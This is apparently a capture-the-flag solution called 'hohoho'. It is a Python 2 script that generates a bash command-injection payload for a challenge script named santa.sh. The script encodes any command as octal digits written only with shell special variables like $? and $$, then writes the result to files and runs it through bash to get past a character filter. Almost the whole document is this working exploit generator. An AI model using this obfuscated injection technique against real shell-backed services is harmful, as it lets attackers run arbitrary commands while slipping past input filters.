hohoho solution

go.py

import sys

m = {
        '0' : '$[$?/$$]',
        '1' : '$?',
        '2' : '$[$?+$?]',
        '3' : '$[$?+$?+$?]',
        '4' : '$[$?+$?+$?+$?]',
        '5' : '$[$?+$?+$?+$?+$?]',
        '6' : '$[($?+$?+$?)*($?+$?)]',
        '7' : '$[($?+$?+$?)*($?+$?)+$?]'
}

OUTFILE_1 = "$#"
OUTFILE_2 = "$$"
BASH_STRING = "(());${!#:(($?+$?+$?)*($?+$?)+$?):$?}" #substr("./santa.sh", 7, 1) = "."

def conv(c):
    """ Convert a character to its octal representation """
    n = map(lambda x: m[x], list(str(oct(ord(c)))[1:]))
    return "\\\\" + ''.join(n)

def go(cmd):
    payload  = ';(());'

    # add ;$' to the output
    payload += '";"\$"\'"'

    # convert each character to octal and then generate a representation for each digit
    payload += ''.join(map(conv, list(cmd)))

    # write stderr to the file 0
    payload += '"\';"&>%s;' % OUTFILE_1

    # execute bash 0 and write stderr to a file $$, 
    # this step resolves the octal representation to regular ascii
    payload += '%s %s&>%s;' % (BASH_STRING, OUTFILE_1, OUTFILE_2)

    # execute bash $$'
    payload += '%s %s;' % (BASH_STRING, OUTFILE_2)

    return payload.replace("\\", "\\\\")

if __name__ == "__main__":
    if len(sys.argv) <= 1:
        print "Usage: python %s cmd" % sys.argv[0]
        exit()
    cmd = ';' + ' '.join(sys.argv[1:]) + ';'
    print go(cmd)

Cool